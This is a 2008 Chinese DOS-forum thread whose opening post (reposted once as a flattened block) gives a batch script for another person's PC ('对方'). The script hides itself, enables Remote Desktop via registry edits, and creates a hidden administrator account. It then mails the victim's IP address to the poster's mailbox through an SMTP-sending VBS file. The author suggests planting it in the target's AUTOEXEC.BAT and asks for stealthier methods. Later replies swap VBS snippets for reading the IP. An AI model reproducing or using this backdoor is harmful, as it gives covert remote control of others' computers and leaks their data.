关于邮件发送ip 开3389 - 中国DOS联盟论坛 - 中国DOS联盟之联合DOS论坛

来了些日子
前些天看了一些关于批处理自动发送ip至自己邮箱的帖子
参考一些前辈的贴子
我只是总结一些主要谢谢nblue 的帖子

这段p主要是为了找回因为动态ip导致自己的3389丢失
其实这个东西木马完全能够做到本身就是为了学习p

这段是延迟等待开机以后用户联网时间可以自己时间
------------------------------------------
@echo off
attrie +s + r 这段p处理的名字
ping 127.0.0.1 -n 60 >nul
ping 127.0.0.1 -n 60 >nul
ping 127.0.0.1 -n 60 >nul
-------------------------------------------
每次开机都检查是否开3389 没开帮他开,
咋们做好事从不留名哦,呵呵
------------------------------------------
echo Windows Registry Editor Version 5.00>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]>>3389.reg
echo "fDenyTSConnections"=dword:00000000>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp]>>3389.reg
echo "PortNumber"=dword:00000d3d>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]>>3389.reg
echo "PortNumber"=dword:00000d3d>>3389.reg
regedit /s 3389.reg
del 3389.reg
-----------------------------------------------------------------------------------
下面建立用户这里我对if命令还不太熟悉所以每次都要建立用户
希望有人能补充这几天我也看看if命令
-----------------------------------------------------------------------------
net user 你的用户名密码 /add
net localgroup Administrators 你的用户名 /add
-----------------------------------------------------------------------

下面就是nblue贴中的 ipsc config Schedule start= DEMAND发送核心
用之前你必须要有2个邮箱其中一个支持smtp的邮箱我用的是qq的
这个我在xp和vista测试过 vista不能找到ip 但能收到邮件内容为空
-------------------------------------------------------------

for /f "tokens=2 delims=:" %%i in ('"ipconfig|findstr /I /c:"ip address""') do set a=%%i

echo NameSpace="http://schemas.microsoft.com/cdo/configuration/" >1.vbs
echo Set Email=CreateObject("CDO.Message") >>1.vbs
echo Email.From="你发送的邮箱地址" >>1.vbs
echo Email.To="你接收的邮箱地址" >>1.vbs
echo Email.Subject="TEST" >>1.vbs
echo Email.Textbody="%a%" >>1.vbs
echo With Email.Configuration.Fields >>1.vbs
echo ^.Item(NameSpace^&"sendusing")=2 >>1.vbs
echo ^.Item(NameSpace^&"smtpserver")="SMTP地址" >>1.vbs
echo ^.Item(NameSpace^&"smtpserverport")=25 >>1.vbs
echo ^.Item(NameSpace^&"smtpauthenticate")=1 >>1.vbs
echo ^.Item(NameSpace^&"sendusername")="用户名" >>1.vbs
echo ^.Item(NameSpace^&"sendpassword")="密码" >>1.vbs
echo ^.Update >>1.vbs
echo End With >>1.vbs
echo Email.Send >>1.vbs

cscript c:\1.vbs
del c:\1.vbs
--------------------------------------------------------

把这些东西弄到对方的AUTOEXEC.BAT 就好了

其实这个我最开始是想用注册表来启动这个批处理后面觉的麻烦
大家有兴趣可是想想更隐秘的方法

还有我也想过用at命令来启动上面那个p处理
但是at命令又需要一个批处理来完成启动这个批处理又需要注册表启动菜单中启动项启动
还要对方电脑上开启了 at命令这个没什么用
(sc config Schedule start= DEMAND
net start schedule )启动
比上面的注册表还麻烦
还是直接命名为AUTOEXEC.BAT比较简单

但是简单的就比较容易发现
小弟第一次发贴词文比较粗糙妄大家见量
此贴技术含量不高比较适合菜鸟
小菜抛转期待老鸟牛X之举引来大量金快

第1楼　juventus	发表于 2008-05-03 06:38
初级用户　发帖 19　积分 48
关于邮件发送ip 开3389 来了些日子前些天看了一些关于批处理自动发送ip至自己邮箱的帖子参考一些前辈的贴子我只是总结一些主要谢谢nblue 的帖子这段p主要是为了找回因为动态ip导致自己的3389丢失其实这个东西木马完全能够做到本身就是为了学习p 这段是延迟等待开机以后用户联网时间可以自己时间 ------------------------------------------ @echo off attrie +s + r 这段p处理的名字 ping 127.0.0.1 -n 60 >nul ping 127.0.0.1 -n 60 >nul ping 127.0.0.1 -n 60 >nul ------------------------------------------- 每次开机都检查是否开3389 没开帮他开, 咋们做好事从不留名哦,呵呵 ------------------------------------------ echo Windows Registry Editor Version 5.00>>3389.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]>>3389.reg echo "fDenyTSConnections"=dword:00000000>>3389.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp]>>3389.reg echo "PortNumber"=dword:00000d3d>>3389.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]>>3389.reg echo "PortNumber"=dword:00000d3d>>3389.reg regedit /s 3389.reg del 3389.reg ----------------------------------------------------------------------------------- 下面建立用户这里我对if命令还不太熟悉所以每次都要建立用户希望有人能补充这几天我也看看if命令 ----------------------------------------------------------------------------- net user 你的用户名密码 /add net localgroup Administrators 你的用户名 /add ----------------------------------------------------------------------- 下面就是nblue贴中的 ipsc config Schedule start= DEMAND发送核心用之前你必须要有2个邮箱其中一个支持smtp的邮箱我用的是qq的这个我在xp和vista测试过 vista不能找到ip 但能收到邮件内容为空 ------------------------------------------------------------- for /f "tokens=2 delims=:" %%i in ('"ipconfig\|findstr /I /c:"ip address""') do set a=%%i echo NameSpace="http://schemas.microsoft.com/cdo/configuration/" >1.vbs echo Set Email=CreateObject("CDO.Message") >>1.vbs echo Email.From="你发送的邮箱地址" >>1.vbs echo Email.To="你接收的邮箱地址" >>1.vbs echo Email.Subject="TEST" >>1.vbs echo Email.Textbody="%a%" >>1.vbs echo With Email.Configuration.Fields >>1.vbs echo ^.Item(NameSpace^&"sendusing")=2 >>1.vbs echo ^.Item(NameSpace^&"smtpserver")="SMTP地址" >>1.vbs echo ^.Item(NameSpace^&"smtpserverport")=25 >>1.vbs echo ^.Item(NameSpace^&"smtpauthenticate")=1 >>1.vbs echo ^.Item(NameSpace^&"sendusername")="用户名" >>1.vbs echo ^.Item(NameSpace^&"sendpassword")="密码" >>1.vbs echo ^.Update >>1.vbs echo End With >>1.vbs echo Email.Send >>1.vbs cscript c:\1.vbs del c:\1.vbs -------------------------------------------------------- 把这些东西弄到对方的AUTOEXEC.BAT 就好了其实这个我最开始是想用注册表来启动这个批处理后面觉的麻烦大家有兴趣可是想想更隐秘的方法还有我也想过用at命令来启动上面那个p处理但是at命令又需要一个批处理来完成启动这个批处理又需要注册表启动菜单中启动项启动还要对方电脑上开启了 at命令这个没什么用 (sc config Schedule start= DEMAND net start schedule )启动比上面的注册表还麻烦还是直接命名为AUTOEXEC.BAT比较简单但是简单的就比较容易发现小弟第一次发贴词文比较粗糙妄大家见量此贴技术含量不高比较适合菜鸟小菜抛转期待老鸟牛X之举引来大量金快

第2楼　XZ	发表于 2008-05-05 13:30
初级用户　发帖 65　积分 144　来自 Taiwan
可以考慮全部使用VBS完成喔因為既然動用到VBS了為何不全部使用 ^^" 我在努力領悟 VBS怎麼抓取本機電腦名稱和IP Set WS=CreateObject("MSWinsock.Winsock") IPAddress=WS.LocalIP MsgBox "Local IP=" & IPAddress 我查到這樣不過好像不會動 = ="

第3楼　slore	发表于 2008-05-05 13:40
铂金会员　发帖 2,478　积分 5,212
这个对象……很麻烦……不能直接用……因为他很危险嗬。那个控件自己注册……什么的以前发过一个查IP的对象……自己不留搜索下。 Set objrcl = CreateObject("rcbdyctl.Setting") MsgBox objrcl.GetIPAddress Set objrcl = Nothing

第4楼　slore	发表于 2008-05-05 13:41
铂金会员　发帖 2,478　积分 5,212
AUTOEXEC.BAT XP貌似不运行好像？

第5楼　BWSkyer	发表于 2008-05-05 14:36
中级用户　发帖 180　积分 367　来自重庆
恩,XP不运行Autoexec.bat的哦~~~

第6楼　juventus	发表于 2008-05-08 18:31
初级用户　发帖 19　积分 48
谢谢大家知道和学习了很多